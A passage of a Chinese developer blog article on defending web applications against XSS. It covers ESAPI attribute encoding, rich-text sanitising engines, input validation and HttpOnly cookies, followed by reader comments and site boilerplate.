&a href=”&%= encoder.encodeForHTMLAttribute(userProvidedURL) %&”&&/a&
String userProvidedURL = request.getParameter(“userProvidedURL”);boolean isValidURL = ESAPI.validator().isValidInput(“URLContext”, userProvidedURL, “URL”, 255, false); if (isValidURL) {&a href=”&%= encoder.encodeForHTMLAttribute(userProvidedURL) %&”&&/a&}
原则7:使用富文本时,使用XSS规则引擎进行编码过滤
Web应用一般都会提供用户输入富文本信息的功能,比如BBS发帖,写博客文章等,用户提交的富文本信息里往往包含了HTML标签,甚至是JavaScript脚本,如果不对其进行适当的编码过滤的话,则会形成XSS漏洞。但我们又不能因为害怕产生XSS漏洞,所以就不允许用户输入富文本,这样对用户体验伤害很大。
针对富文本的特殊性,我们可以使用XSS规则引擎对用户输入进行编码过滤,只允许用户输入安全的HTML标签,如&b&, &i&, &p&等,对其他数据进行HTML编码。需要注意的是,经过规则引擎编码过滤后的内容只能放在&div&, &p&等安全的HTML标签里,不要放到HTML标签的属性值里,更不要放到HTML事件处理属性里,或者放到&SCRIPT&标签里。
推荐XSS规则过滤引擎:OWASP AntiSamp或者Java HTML Sanitizer
由于很多地方都可能产生XSS漏洞,而且每个地方产生漏洞的原因又各有不同,所以对于XSS的防御来说,我们需要在正确的地方做正确的事情,即根据不可信数据将要被放置到的地方进行相应的编码,比如放到&div&标签之间的时候,需要进行HTML编码,放到&div&标签属性里的时候,需要进行HTML属性编码,等等。
XSS攻击是在不断发展的,上面介绍的几条原则几乎涵盖了Web应用里所有可能出现XSS的地方,但是我们仍然不能掉以轻心,为了让Web应用更加安全,我们还可以结合其他防御手段来加强XSS防御的效果,或者减轻损失:
对用户输入进行数据合法性验证,例如输入email的文本框只允许输入格式正确的email,输入手机号码的文本框只允许填入数字且格式需要正确。这类合法性验证至少需要在服务器端进行以防止浏览器端验证被绕过,而为了提高用户体验和减轻服务器压力,最好也在浏览器端进行同样的验证。
为Cookie加上HttpOnly标记。许多XSS攻击的目标就是窃取用户Cookie,这些Cookie里往往包含了用户身份认证信息(比如SessionId),一旦被盗,黑客就可以冒充用户身份盗取用户账号。窃取Cookie一般都会依赖JavaScript读取Cookie信息,而HttpOnly标记则会告诉浏览器,被标记上的Cookie是不允许任何脚本读取或修改的,这样即使Web应用产生了XSS漏洞,Cookie信息也能得到较好的保护,达到减轻损失的目的。
Web应用变得越来越复杂,也越来越容易产生各种漏洞而不仅限于XSS漏洞,没有银弹可以一次性解决所有安全问题,我们只能处处留意,针对不同的安全漏洞进行针对性的防御。
希望本文介绍的几条原则能帮助你成功防御XSS攻击,如果你对于XSS攻击或防御有任何的见解或疑问的话,欢迎留言讨论,谢谢。
可能感兴趣的话题
说得有点啰嗦,几乎都是改变编码方式的东西。竟然没有介绍 owasp.org 的一篇著名文章:https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet 。多了解一些 XSS 手法对大家都有帮助,那些攻击也都有防范方法。
不建议亡羊补牢,应及早在刚建立应用之初就将那些没有特别用途的内容的操作权限降到最低。
明确输入方式,处理不信任的输入内容,明确输出内容的来源,输出的方式,是最基本的。
另外稍微宣传一下,Chrome 默认屏蔽那种链接上简单的
攻击:http://blog.likelikeslike.com/posts//chrome-defeat-xss-link.html
关于伯乐在线博客
在这个信息爆炸的时代,人们已然被大量、快速并且简短的信息所包围。然而,我们相信:过多“快餐”式的阅读只会令人“虚胖”,缺乏实质的内涵。伯乐在线内容团队正试图以我们微薄的力量,把优秀的原创文章和译文分享给读者,为“快餐”添加一些“营养”元素。
新浪微博:
推荐微信号
(加好友请注明来意)
– 好的话题、有启发的回复、值得信赖的圈子
– 分享和发现有价值的内容与观点
– 为IT单身男女服务的征婚传播平台
– 优秀的工具资源导航
– 翻译传播优秀的外文文章
– 国内外的精选文章
– UI,网页,交互和用户体验
– 专注iOS技术分享
– 专注Android技术分享
– JavaScript, HTML5, CSS
– 专注Java技术分享
– 专注Python技术分享
& 2018 伯乐在线

我要回帖

更多关于 sql注入攻击与防御 的文章

 

随机推荐